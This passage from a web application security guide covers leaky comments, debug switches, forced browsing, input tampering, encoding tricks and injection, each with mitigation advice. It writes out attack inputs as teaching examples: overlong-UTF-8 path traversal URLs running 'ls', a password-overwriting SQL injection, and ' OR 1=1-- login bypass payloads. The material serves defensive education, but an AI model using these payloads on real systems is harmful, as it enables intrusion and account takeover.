- Unstructured Comments - these are one off comments made by developers to comment a particular piece of code or HTML. These can be particularly dangerous, as they are not controlled in any way. Comments such as "The following hidden field must be set to 1 or XYZ.asp breaks" or "Don't change the order of these table fields" can signal a red flag to a potential attacker. Again, unstructured HTML comments will always go the requester of the HTML resource, whereas unstructued script comments might not depending on the environment.

For many situations, a simple filter that strips HTML comments before pages are included in a build is all that is required. The build process may allow for HTML comments to be included in development builds, but would remove them in QA and production builds, reflecting the need that comments are often helpful to developers for debugging, but also recognizing that it isn't sound practice to put something into production that isn't exactly what was tested in a QA cycle. Other options include configuring source code control systems to reject resources with any HTML comments. CVS, for example, can easily be configured to do this.

For automated comments an active filter may be required or configuring the tool to prevent the inclusion of these comments.

It is good practice to tie the filtering process to sound deployment methodologies so that only known good pages are ever released to production.

Mitigation Checklist

- Add a filter to the deployment or build process to remove comments from HTML and script files.
- For comments added by tools, determine if tool can be configured to eliminate the adding of the comments into the source code files.
- In the case of automated comments, where the tool cannot be configured, consider adding an active filter to strip out comments before returning the page to the browser.

Debug Commands

Description

Debug commands are hooks placed by developers into the application to assist in debugging the application. These may be attributes, which are missing from the web interface, but when supplied, turn on the debugging mode. They also may be attributes, which are a part of the application and simply need their value changed to turn on debugging.

The form these debug commands take may vary from application to application. They may be a form field that needs to be supplied or a cookie that must exist. When turned on, debugging mode usually provides information that would be very useful to an attacker. It may disclose information about internal server settings, show stack traces or other internal errors or may allow access to data structures that expose sensitive data.

Another risk posed by debug commands is that they are often susceptible to other vulnerabilities associated with data input validation. Since the debug commands are assumed to be hidden and unknown, they often do not undergo the same security checks as other input fields. If their existence is exposed, they can cause other attacks to be

launched successfully against the site.

In some cases, debug commands can be easy to detect. If the attribute is already in the application and simply needs a value change to trigger it, finding the command is easy and turning it on may be a simple process. If the command is not in the user interface, it requires guesswork or access to the internals of the application.

Guesswork usually involves appending common debug commands to the URLs of the application, such as "debug=on" or "DEBUG=YES".

```
http://www.example.com/account_check?ID=8327dsddi8qjgqllkjdlas
```

Can be altered to:

```
http://www.example.com/account_check?ID=8327dsddi8qjgqllkjdlas&debug=on
```

Access to the internals of the application usually requires insider information or access to the source code, which is discussed in several sections in this chapter.

Preventing debug commands from causing a security vulnerability is a difficult process, since the technique itself is based on easily providing information that should not be available to an attacker. The best way is to remove such constructs from all production code. This can be done through a preprocessor step, which strips out the debugging blocks of code. Another technique would be to develop the architecture in such a way that a debugging module would be deployed in development that would provide the extra information, while the production version of the module would do nothing when called.

While these techniques can prevent an attacker from gaining access to the debugging information, they do rely on the fact that the application is properly deployed. If the debugging version is deployed to production, the application could be under significant risk.

A final technique that can be used is that when debugging is turned on, the output is directed to a file on the server that an attacker cannot easily access. Rather than show the debugging information on the screen, the developer would watch a log file for the information they require. This would prevent an attacker from gaining access to the valuable information, and with minimal effort still allow the developer access to the information for debugging purposes.

Mitigation Checklist

- If no longer used, remove these debugging commands from application.
- If still used for debugging purposes, remove the commands from production code using a preprocessing step or through the use of a production level component.
- Direct output from the debugging logs to a server log rather than back to the user's browser. This will make it difficult for an attacker to obtain a benefit from the debug commands even if they are successful in enabling the commands.

GET vs. POST

Description

There are two methods that are commonly used to supply data from HTML forms to the server application: GET and POST. POST can only be set by explicitly setting the form's method attribute to "POST". However, GET can be set in multiple ways:

- explicitly set the form's method attribute to "GET"

- do not set the form's method attribute. GET is the default value.
- use the ? parameter on a URL, such a http://www.example.com/news.jsp?id=123. The id=123 is passed using the GET method.

No sensitive data should be supplied to the web server using the GET method on a form. The GET method should be reserved for fields such as supplying a news id to retrieve a news story. The POST method should be used for all sensitive data. For example, logging in or changing your password should always be done using POST. Using GET may expose the plain text password in ways that are difficult to secure.

Depending on other aspects of the application, such as the browser settings and the use of SSL, information passed using the GET request may be exposed by:

- a web server or proxy
- the browser's history
- a passerby in a "look over the shoulder" surfing attack.

Mitigation Checklist

- Check all form submittals that deal with sensitive information
- Change any uses of GET to POST where sensitive information is being submitted
- If necessary, use a scripting language, such as JavaScript, to set the form's attributes to the proper values and the method to POST in order to work around the use of GET in the ? or hyperlink syntax.

File Access

Server Source Code

Description

Web applications often make use of scripting or non-compiled languages and tools for the development of server code. Using such languages/tools as ASP, JSP, PHP and Perl fit well into a web development framework. Teams can make use of web designers to create the look and feel and use developers to create the components that interact with the database and hold the business logic. These types of tools also allow for the rapid development and quick changes that has become a critical aspect of web development. While there are many reasons these tools have become very popular in the development of web applications, there are some distinct security drawbacks to using these concepts.

Using these types of scripting tools, places the source code for the application on the server. With no other security vulnerabilities on the site, this may not pose a significant problem. However, there are numerous ways in which the source code for the application can be inadvertently exposed. Most web servers have had vulnerabilities where source code could be exposed by manipulating the URL or utilizing a sample application that shipped with the product. Also, the application itself may expose source code if it contains improper file handling code.

There are steps that can be taken to reduce the risk posed by the use of these languages and tools. The first is to reduce the amount of information an attacker can gain with access to the source. With the proper use of these tools, issues such as exposing logins, passwords, database connection strings, SQL statements, etc. should not be an issue since those items should be relegated to other tiers of the application. In reality, many applications embed all of these items in the GUI presentation tier, which makes exposure of source code a more significant risk.

Another step that may help in some cases is to ensure that source code is kept isolated from other types of files. This can allow other security measures to be taken to prevent source code from being exposed. For example, ASP pages only require scripting permission, while read permission is only needed for files such as HTML or images. If the ASP pages are segregated to a different directory from other files, IIS can be configured to only allow scripting to those files. Without read access to the ASP pages, most of the source code exposure issues are mitigated. Using

EAR or WAR archives with J2EE servers instead of free-standing or "exploded" jsp resources can similarly help protect these resources.

For many of these tools, the source code can be pre-compiled, so that the source is not deployed to the production server. Hooking this step into the build and deployment process can significantly mitigate this risk and in some cases may also improve performance.

Mitigation Checklist

- Move sensitive information from scriptable files to compiled code. For instance, connect to the database through an EJB or COM component as opposed to through a JSP or ASP directly.
- Segregate the source code files from other file types, such as HTML, JavaScript, CSS or images. This may allow the server to be configured to be more restrictive in it's handling of these files.
- Where possible, pre-compile the source pages and only deploy their compile versions.

Unlinked Files

Description

A common misconception in web applications is that unlinked files equates to inaccessible files. Just because a file does not have a hyperlink that points to it, does not mean the file cannot be retrieved from the site. Retrieving the file is as simple as entering the file name in the URL and checking to see how the web server responds.

This technique is commonly called "forceful browsing" or "file enumeration". The target file is requested from the web server and the HTTP server response code is checked to see if the file is available. If the server responds with an HTTP 404 response code, the file is not available. If the server responds with an HTTP 200 response code, the file may be available. Some web servers will respond with an HTTP 200 response code and a custom HTTP 404 error page. This can cause basic vulnerability scanners to become confused and report a large number of false positives. More advanced scanners can be configured to recognize the custom 404 pages and respond correctly. A manual test and a check if the requested page was supplied will also ensure the HTTP 200 code is not a false positive.

There are a variety of file types that can be retrieved from a web site that may expose a system to a security vulnerability. These include:

- Known Vulnerable Files - Many known vulnerable files exist, and looking for them is the most common technique that web application vulnerability scanners use. Many people will focus their search on cgi's for example or server specific issues such as IIS problems. Many tools install "sample" code in publicly accessible locations, which may have security vulnerabilities. Removing (or simply not installing) such default files is a critical step in securing a web site.
- Unreferenced Files - Many web site administrators leave files on the web server such as admin pages or data files that are not publicly available. These files remain accessible although are unreferenced by any HTML pages on the web site. If an attacker can guess the URL, then he is typically able to access the resource. This may be accomplished because of insider information or because the unreferenced files have names that can be easily guessed.
- Referenced Files - These files are files that are referenced in the HTML pages returned by the application, but where a hyperlink is not provided. These files are often referenced in a comment or by the use of a hidden form field. These may include configuration files, data files or templates. Some developers do not realize that using the "src" attribute of the script tag and placing the script code in a file on the server offers no protection from an attacker. The file can simply be requested from the server and downloaded.
- Backup/Temp Files - Many applications used to build or edit source code and other files such as HTML or XML leave temp files and backup files in directories. Some development teams even create these files manually as part of their maintenance process. These files often get uploaded either manually in directory copies or automatically by the deployment process. When files are edited directly on production servers, the backup files may be created there and never deployed to the server. Backup files are dangerous as the source code for the application may be exposed. While pages such as ASP, JSP or Perl will normally be executed and the results returned to the user, the execution process is normally based on file extension. Since backup or temp files may not have an extension, which is recognized as needing execution privileges, the default behavior of the web server is to return

the page unchanged. In the case of source code, this may expose logins, passwords, database connectivity information, hidden or unreferenced files, etc.
- Directory Browsing - Normally, a user accesses a web application through the web pages that have been exposed by the developers. However, through vulnerabilities in the web server misconfigurations of the web server or other tools, the directory listing where the application resides can be exposed to an attacker. This can expose unlinked files that otherwise would be difficult to guess without inside information. This takes out all of the guesswork involved in forceful browsing.

Mitigation Checklist

- Remove all unnecessary files from the web server. This includes sample files, temp or backup files, test code, etc.
- Modify your deployment process to only allow approved files to be deployed to the production servers
- Do not allow editing of files directly on the production servers
- Modify the web server configuration to only allow approved extensions to be returned by the web server. If only .asp, .jpg, .gif, .js, .css and .html are a part of the application, don't allow .bak, ~, .tmp and other common backup extensions to be returned.
- For unreferenced files used by the web application, do not place these files in the docroot of the web server

Summary

This chapter covered the common application security issues revolving around:

- the use of tools
- disclosure of sensitive information
- unintended file access

While dealing with these issues will not secure an application on their own, these problems are commonly found in most applications. Focus on these issues is a necessary component in securing an application.

Chapter 9. Data Input Validation

Mark Curphey
Gene McKenna
Jeremy Poteet

Introduction

This chapter describes the most common problem that web applications typically exhibit, which is the failure to properly validate input from the client. This failure leads to many of the major vulnerabilities in applications, such as SQL Injection, HTML Injection (aka Cross-Site Scripting) and Buffer Overflows.

This chapter will deal with the following issues:

- Input Sources - This section discusses the various sources of input that an application needs to protect.
- Input Formats - Input can be formatted or encoded in various ways that can make protecting an application more difficult.
- Concept of Injection - Most input vulnerabilities are based on the concept of injection. Understanding this issue opens the door to SQL Injection and HTML Injection.
- Common Protection Techniques - There are various common techniques used to protect applications. This section discusses the pros and cons of these techniques.
- Specific Vulnerabilities - Specific vulnerabilities including SQL Injection, HTML Injection (Cross-site Scripting) and Buffer Overflows are discussed in view of the foundational information in the chapter. How these specific vulnerabilities exploit flaws in the data input handling and how the proper validation checks protect the application is discussed.

Input Sources

To understand how problems in input validation can pose significant security risks, we start with the data sources. There are various information sources that all must be protected to lock down an application. Manipulating the data sent between the browser and the web application has long been a simple but effective way to allow an attacker to force applications to access sensitive or unauthorized information. No data sent to the browser can be relied upon to stay the same unless cryptographically protected at the application layer. Cryptographic protection in the transport layer (SSL) in no way protects one from attacks like parameter manipulation in which data is mangled before it hits the wire. The basic input sources are:

- URL Query Strings
- Form Fields
- Cookies
- HTTP Headers

URL Query Strings

HTML Forms may submit their results using one of two methods: GET or POST. If the method is GET, all form element names and values will appear in the query string of the next URL the user sees. Tampering with query strings is as easy as modifying the URL in the browser's address bar.

Take the following example; a web page allows the authenticated user to select one of his pre-populated accounts from a drop-down box to view the current balance. The user's choice is recorded by pressing the submit button. The page is actually storing the entry in a form field value and submitting it using a form submit command. The com-

mand sends the following HTTP request.

```
http://www.victim.com/example?accountnumber=12345
```

A malicious user could attempt to pass account numbers for other users to the application by changing the parameter as follows:

```
http://www.victim.com/example?accountnumber=67891
```

This new parameter would be sent to the application and be processed accordingly. Many applications would rely on the fact that the correct account numbers for this user were in the drop down list and not recheck to make sure the account number supplied matches the logged in user. By not rechecking the account number, the balance of other user's account can be exposed to an attacker.

Unfortunately, it isn't just HTML forms that present these problems. Almost all navigation done on the Internet is through hyperlinks. When a user clicks on a hyperlink to navigate from one site to another, or within a single application, he is sending GET requests. Many of these requests will have a query string with parameters just like a form. A user can simply look in the "Address" window of his browser and change the parameter values.

When parameters need to be sent from a client to a server, they should be accompanied by a valid session token. The session token may also be a parameter, or a cookie. Session tokens have their own special security. In the example above, the application should not allow access to the account without first checking if the user associated with the session has permission to view the account specified by the parameter "accountnumber". The script that processes the account request cannot assume that access control decisions were made on previous application pages.

Form Fields

HTML form fields come in many different styles, such as text fields, drop downs, radio buttons and check boxes. HTML can also store field values as hidden fields, which are not rendered to the screen by the browser but are collected and submitted as parameters during form submissions.

Whether these form fields are pre-selected (drop down, check boxes etc.), free form text fields or hidden, they can all be manipulated by the user to submit whatever values he/she chooses. In most cases this is as simple as saving the page using "view source", "save", editing the HTML and re-loading the page in the web browser.

Some developers try to prevent the user from entering large values by setting a form field attribute maxlength=(an integer) in the belief they will prevent a malicious user from attempting to inject buffer overflows of overly long parameters. However the malicious user can simply save the page, remove the maxlength tag and reload the page in his browser. Other interesting form field attributes include disabled and readonly. Data (and code) sent to clients must not be relied upon until it is properly validated. Code sent to browsers is merely a set of suggestions and has no security value.

Hidden form fields represent a convenient way for developers to store data in the browser and are one of the most common ways of carrying data between pages in wizard type applications. All of the same rules apply to hidden forms fields as apply to regular form fields.

For example, a login form with the following hidden form field may be exposing a significant vulnerability:

```
<input name="masteraccess" type="hidden" value="N">
```

By manipulating the hidden value to a Y, the application would have logged the user in as an Administrator. Hidden form fields are extensively used in a variety of ways and while it's easy to understand the dangers, they still are

found to be significantly vulnerable in the wild.

Instead of using hidden form fields, the application designer can simply use one session token to reference properties stored in a server-side cache. When an application needs to check a user property, it checks the session cookie with its session table and points to the user's data variables in the cache/database. This is by far a more secure way to architect this problem.

If the above technique of using a session variable instead of a hidden field cannot be implemented, a second approach is as follows.

The name/value pairs of the hidden fields in a form can be concatenated together into a single string. A secret key that never appears in the form is also appended to the string. This string is called the Outgoing Form Message. An MD5 digest or other one-way hash is generated for the Outgoing Form Message. This is called the Outgoing Form Digest and it is added to the form as an additional hidden field.

When the form is submitted, the incoming name/value pairs are again concatenated along with the secret key into an Incoming Form Message. An MD5 digest of the Incoming Form Message is computed. Then the Incoming Form Digest is compared to the Outgoing Form Digest (which is submitted along with the form) and if they do not match, then a hidden field has been altered. Note, for the digests to match, the name/value pairs in the Incoming and Outgoing Form Messages must concatenated together in the exact same order both times.

This same technique can be used to prevent tampering with parameters in a URL. An additional digest parameter can be added to the URL query string following the same technique described above.

Cookies

Cookies are a common method to maintain state in the stateless HTTP protocol. They are also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and nonpersistent cookies can be modified by the client and sent to the server with URL requests. Therefore any malicious user can modify cookie content to his advantage. There is a popular misconception that nonpersistent cookies cannot be modified but this is not true. Also, SSL only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions. (Many cookies are Base64 encoded; this is an encoding scheme and offers no cryptographic protection).

As an example, a cookie with the following value:

```
Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
```

can simply be modified to:

```
Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;
```

One mitigation technique is to simply use one session token to reference properties stored in a server-side cache. This is by far the most reliable way to ensure that data is sane on return: simply do not trust user input for values that you already know. When an application needs to check a user property, it checks the userid with its session table and points to the users data variables in the cache/database.

Another technique involves building intrusion detection hooks to evaluate the cookie for any infeasible or impossible combinations of values that would indicate tampering. For instance, if the "administrator" flag is set in a cookie, but the userid value does not belong to someone on the development team.

The final method is to encrypt the cookie to prevent tampering. There are several ways to do this including hashing the cookie and comparing hashes when it is returned or a symmetric encryption.

HTTP Headers

HTTP headers are control information passed from web clients to web servers on HTTP requests, and from web servers to web clients on HTTP responses. Each header normally consists of a single line of ASCII text with a name and a value. Sample headers from a POST request follow.

```
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
```

Often HTTP headers are used by the browser and the web server software only. Most web applications pay no attention to them. However some web developers choose to inspect incoming headers, and in those cases it is important to realize that request headers originate at the client side, and they may thus be altered by an attacker.

Normal web browsers do not allow header modification. An attacker will have to write his own program (about 15 lines of Perl code will do) to perform the HTTP request, or he may use one of several freely available proxies that allow easy modification of any data sent from the browser.

The Referer header (note the spelling), which is sent by most browsers, normally contains the URL of the web page from which the request originated. Some web sites choose to check this header in order to make sure the request originated from a page generated by them, for example in the belief it prevents attackers from saving web pages, modifying forms, and posting them off their own computer. This security mechanism will fail, as the attacker will be able to modify the Referer header to look like it came from the original site.

The Accept-Language header indicates the preferred language(s) of the user. A web application doing internationalization (i18n) may pick up the language label from the HTTP header and pass it to a database in order to look up a text. If the content of the header is sent verbatim to the database, an attacker may be able to inject SQL commands (see SQL injection) by modifying the header. Likewise, if the header content is used to build a name of a file from which to look up the correct language text, an attacker may be able to launch a path traversal attack.

Simply put headers cannot be relied upon without additional security measures. If a header originated server-side such as a cookie it can be cryptographically protected. If it originated client-side such as a referer it should not be used to make any security decisions.

For more information on headers, please see RFC 2616, which defines HTTP/1.1.

Input Formats

Canonicalization deals with the way in which systems convert data from one form to another. Canonical means the simplest or most standard form of something. Canonicalization is the process of converting something from one representation to the simplest form. Web applications have to deal with lots of canonicalization issues from URL encoding to IP address translation. When security decisions are made based on canonical forms of data, it is therefore essential that the application is able to deal with canonicalization issues accurately.

URL Encoding

The RFC 1738 specification defining Uniform Resource Locators (URLs) and the RFC 2396 specification for Uniform Resource Identifiers (URIs) both restrict the characters allowed in a URL or URI to a subset of the US-ASCII character set. According to the RFC 1738 specification, "only alphanumerics, the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL." The data used by a web application, on the other hand, is not restricted in any way and in fact may be represented by any existing character set or even binary data. Earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1)

character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.

URL-encoding a character is done by taking the character's 8-bit hexadecimal code and prefixing it with a percent sign ("%"). For example, the US-ASCII character set represents a space with decimal code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.

Even though certain characters do not need to be URL-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can be URL-encoded, as can all HTML entities and any meta characters used by the operating system or database. Because URL-encoding allows virtually any data to be passed to the server, proper precautions must be taken by a web application when accepting data. URL-encoding can be used as a mechanism for disguising many types of malicious code.

Here is a SQL Injection example that shows how this attack can be accomplished.

Original database query in search.asp:

```
sql = "SELECT lname, fname, phone FROM usertable WHERE lname='" &Request("lname")
```

HTTP request:

```
http://www.myserver.com/search.asp?lname=smith%27%3bupdate%20usertable%20set%20password%20=
```

Executed database query:

```
SELECT lname, fname, phone FROM usertable WHERE lname='smith';update usertable set password
```

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after decoding is completed. It is usually the web server itself that decodes the URL and hence this problem may only occur on the web server itself.

Unicode

Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using Unicode to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.

The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are "URL decoding" potentially followed by "UTF-8 decoding", and intermingled with them are various security checks, which are also processing steps. If, for example, one of the security checks is searching for "..", and it is carried out before UTF-8 decoding takes place, it is possible to inject ".." in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it. Examples: Consider the ASCII character "." (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.

Table 9.1.

UCS-4 Range	UTF-8 encoding
0x00000000-0x0000007F	0xxxxxxx
0x00000080 - 0x000007FF	110xxxxx 10xxxxxx
0x00000800-0x0000FFFF	1110xxxx 10xxxxxx 10xxxxxx
0x00010000-0x001FFFFF	11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
0x00200000-0x03FFFFFF	111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
0x04000000-0x7FFFFFFF	1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

Consider the representation C0 AE of a ".". Like UTF-8 encoding requires, the second octet has "10" as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest of the possible 2 bit combinations ("00", "01" and "11"). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.

It is thus possible to form illegal UTF-8 encodings, in two senses:

- A UTF-8 sequence for a given symbol may be longer than necessary for representing the symbol.
- A UTF-8 sequence may contain octets that are in incorrect format (i.e. do not comply with the above 6 formats).

To further "complicate" things, each representation can be sent over HTTP in several ways:

- In the raw. That is, without URL encoding at all. This usually results in sending non-ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non-ASCII characters.
- Valid URL encoding. Each non-ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0%AE.
- Invalid URL encoding. This is a variant of valid URL encoding, wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms. For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non-hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.

It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well.

```
http://host/cgi-bin/bad.cgi?foo=../../bin/ls%20-al
```

URL Encoding of the example attack:

```
http://host/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al
```

Unicode encoding of the example attack:

```
http://host/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al
http://host/cgi-bin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al
```

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after UTF-8 decoding is completed. Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it represents.

http://www.ietf.org/rfc/rfc2279.txt?number=2279

Null Bytes

While web applications may be developed in a variety of programming languages, these applications often pass data to underlying lower level C-functions for further processing and functionality.

If a given string, lets say "AAA\0BBB" is accepted as a valid string by a web application (or specifically the programming language), it may be shortened to "AAA" by the underlying C-functions. This occurs because C/C++ perceives the null byte (\0) as the termination of a string. Applications that do not perform adequate input validation can be fooled by inserting null bytes in "critical" parameters. This is normally done by URL Encoding the null bytes (%00). In special cases it is possible to use Unicode characters.

The attack can be used to:

- Disclose physical paths, files and OS-information
- Truncate strings
- Truncate Paths
- Truncate Files
- Truncate Commands
- Truncate Command parameters
- Bypass validity checks, looking for substrings in parameters
- Cut off strings passed to SQL Queries

The most popular affected scripting and programming languages are:

- Perl (highly)
- Java (File, RandomAccessFile and similar Java-Classes)
- PHP (depending on its configuration)

Preventing null byte attacks requires that all input be validated before the application acts upon it.

Injection

Now that you understand where data comes from in a web application and some of the different forms it may take, we now look at the core issue of these types of attacks: injection. Injection itself is not a vulnerability, but injecting data that has not been properly validated usually is. This section will breakdown how injection techniques work. Later in this chapter we will look at specific attacks such as SQL Injection, XSS and Buffer Overflow. All of those

attacks are simply variations on the premise of injection.

How is Data Injected?

One way of looking at applications is that they are made up of two distinct parts. The first part is what the developers create. This includes the code, the HTML, the SQL, the OS command calls or any other developer created components. The other part of the application is what the user provides. This involves the data or information provided by the user, which is then injected or merged with the developer portion of the application to produce the desired result.

For example, a developer may have created the following SQL code:

```
strSQL = "SELECT * FROM NewsTable WHERE NewsID = " + newsId;
```

By clicking on the link for the news article she wants to read, the user supplies the newsID of 228, which is then injected into the application resulting in the following line of code:

```
strSQL = "SELECT * FROM NewsTable WHERE NewsID = 228";
```

The code executes and the desired news story is returned to the user for viewing. In and of itself, there is nothing malicious in the injection. In fact, it is the basic premise of all application development. There are countless techniques for how injection will take place, but the basic concept holds true across all tools, languages and techniques.

Another example would be, the following code which attempts to open a template file for use by the application:

```
open(TEMPLATE, $template) or die "Cannot open template file: $template: $!\n";
```

In this case, the template file name is being supplied as a hidden form field. When the user fills in the form and clicks on submit, the template file of "user.tmpl" is injected into the application resulting in:

```
open(TEMPLATE, "user.tmpl") or die "Cannot open template file: user.tmpl: $!\n";
```

Finally, we see injection play out very visibly when we use a web application that changes the HTML because of the information we provide. For example, after logging into the application, the following code is run:

```
output.write("<h2>Welcome back, " + userName + ".</h2>");
```

After our user information has been supplied, it is injected into the code as:

```
output.write("<h2>Welcome back, Jeremy.</h2>");
```

This information is then returned to the user as part of the HTML page to personalize the information. None of the techniques we have looked at here are necessarily vulnerable. This concept is a basic building block of how applications are developed. However, we now turn our attention to how this technique can be perverted. Without the proper checks, this technique can be used as a launching point for many simple yet very effective attacks.

Connectors and Payload

The basic premise of injection attacks is to supply data that when injected into the application will cause a particular affect. The attack is completely contained in the data provided by the attacker. The data provided can be broken into three distinct segments:

- Prefix Connector
- Payload
- Suffix Connector

While much of the focal point of injection attacks tends to be around the payload or the portion of that attack that performs the damage, the real focus should be around the connectors. The connectors are the portion of the attack that allow the attack to be spliced into the application, so that the developer created code will execute properly now with the added payload. Without properly constructed connectors, an error will usually be generated and the payload may never be delivered.

In order to understand the full scope of what connectors can be used and to fully mitigate the injection issue, requires a thorough understanding of the language, tools and techniques used in the application. A deep understanding of these components by an attacker results in a dangerous adversary. A deep understanding by the developers can result in an application that protects itself from injection attacks.

While we will look at connectors and payload more specifically in the section on Specific Attacks, let's look at an example to see how connectors come into play. First we look at the SQL code for a login screen:

```
strSQL =  "SELECT * FROM UserTable WHERE login = '" + userLogin + "' AND password = '" + us
```

If we are going to inject an attack into the userLogin field, we first need to address the SQL code that comes before and after the userLogin field. For this example, let's say we want to try to login as the first user in the database. In that case, we don't want the SQL statement to match a valid login id, so we set our prefix connector to be a "' OR ", a single quote followed by the word or. This closes out the portion of the SQL statement "WHERE login = " OR ". While this may not find a user, it is valid SQL and allows us to splice in our attack without generating a SQL error.

For the suffix connector, we need to match a single quote there as well. We also have the additional SQL clause of checking the password to contend with. Our suffix connector will have the following syntax " OR login='". This closes out the SQL statement with " OR login=" AND password = ...".

We can now add a payload of "1=1", which is simply a statement that will evaluate to true. The effect of this is to return the first user from the database. The data we provide in the attack is now:

Table 9.2.

Prefix Connector	Payload	Suffix Connector
' OR	1=1	OR login='

The resulting SQL when this attack is injected is:

```
SELECT * FROM UserTable WHERE login = '' OR 1=1 OR login ='' AND password = ''
```

With more knowledge about SQL and the database in use, we can modify our connectors to vary the attack signature. For example, we can modify the payload and eliminate the suffix connector.

Table 9.3.

Prefix Connector	Payload	Suffix Connector
' OR	'1'='1	

The resulting SQL when this attack is injected is:

```
SELECT * FROM UserTable WHERE login = '' OR '1'='1' AND password = ''
```

This attack would have the same effect, but with a slightly different technique. If the database in use was SQL Server, Oracle or another database that supported comments, we could use the suffix connector to eliminate the password portion of the SQL clause.

Table 9.4.

Prefix Connector	Payload	Suffix Connector
' OR	1=1	--

The resulting SQL when this attack is injected is:

```
SELECT * FROM UserTable WHERE login = '' OR 1=1--
```

The double-dash comments out the rest of the line and allows the attacker to perform the same attack with a very restricted amount of space. This attack comprises of 10 characters, which would fit in most user login fields.

One question that remains is how easy is it for an attacker to determine the proper connectors to attack to deliver the payload. Unfortunately, this is not a difficult task. Obviously, access to the source code, whether from an insider or through a source code disclosure vulnerability, takes all of the effort out of the task. Even without the source code, this is a straightforward effort. Detailed error messages often give all of the necessary information to get the format of the attack correct and often even include snippets of the surrounding code, which makes the job even easier. However, what makes this category of attacks so powerful is that even without source code or detailed error messages, these attacks are often successful, simply because of the common techniques used to develop applications. While security through obscurity is rarely if ever a good idea, with injection attacks it is almost certainly a recipe for disaster.

Common Validation Strategies

Many of the common attacks on systems can be prevented, or the threat of occurrence can be significantly reduced, by appropriate data validation. Data validation is one of the most important aspects of designing a secure web application. When we refer to data validation, we are referring to both input to and output from a web application.

Data validation strategies are often heavily influenced by the architecture for the application. If the application is already in production it will be significantly harder to build the optimal architecture than if the application is still in a design stage. If a system takes a typical architectural approach of providing common services then one common component can filter all input and output, thus optimizing the rules and minimizing efforts.

There are three main models to think about when designing a data validation strategy.

- Accept Only Known Valid Data
- Reject Known Bad Data
- Sanitize Bad Data

We cannot emphasize strongly enough that "Accept Only Known Valid Data" is the best strategy. We do, however, recognize that this isn't always feasible for political, financial or technical reasons, and so we describe the other strategies as well.

All three methods must check:

- Data Type
- Syntax
- Length

Data type checking is extremely important. For instance, the application should check to ensure an integer is being submitted and not a string.

Accept Only Known Valid Data

As we mentioned, this is the preferred way to validate data. Applications should accept only input that is known to be safe and expected. As an example, let's assume a password reset system takes in usernames as input. Valid usernames would be defined as ASCII A-Z and 0-9. The application should check that the input is of type string, is comprised of A-Z and 0-9 (performing cannibalization checks as appropriate) and is of a valid length.

